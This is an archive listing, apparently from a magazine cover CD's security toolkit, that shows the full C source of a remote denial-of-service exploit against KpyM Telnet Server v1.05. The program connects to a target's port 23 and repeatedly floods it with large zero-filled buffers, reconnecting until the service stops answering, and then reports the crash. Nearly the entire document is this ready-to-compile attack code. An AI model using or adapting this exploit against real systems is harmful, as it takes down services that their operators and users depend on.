home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
telnet
/
kpym_exp.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
|
140 lines
/* By NoRpiuS
* UNIX & WIN VERSION
* USE -DWIN to compile on windows
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN
#include <winsock.h>
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define PORT 23
#define BUFFSZ 10000
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
u_char *buff;
struct sockaddr_in peer;
int sd, err;
u_short port = PORT;
setbuf(stdout, NULL);
fputs("\n"
"KpyM Telnet Server v1.05 remote DoS\n"
"by NoRpiUs\n"
"e-mail: norpius@altervista.org\n"
"web: http://norpius.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUso: %s <ip>\n\n",argv[0]);
exit(1);
}
#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
buff = malloc(BUFFSZ);
if(!buff)
{
fputs("[-] Can't allocate buffer\n", stdout);
exit(0);
}
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0)
{
fputs("[-] Can't create socket\n", stdout);
exit(0);
}
printf("\n[+] Connecting to %s:%hu...\n",
inet_ntoa(peer.sin_addr), port);
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0)
{
fputs("[-] Can't connect\n", stdout);
exit(0);
}
err = recv(sd, buff, BUFFSZ, 0);
if(err < 0)
{
fputs("[-] No response from the server", stdout);
exit(0);
}
memset(buff, 0, BUFFSZ);
fputs("[+] Waiting for the crash.. ", stdout);
while(1)
{
err = send(sd, buff, BUFFSZ, 0);
if(err < 0)
{
fputs("[-] Can't send\n", stdout);
exit(0);
}
printf(".");
close(sd);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if ( err < 0 )
{
fputs("\n[+] Crashed\n\r", stdout);
exit(0);
}
}
close(sd);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE)
{
hp = gethostbyname(host);
if(!hp)
{
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
}
else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}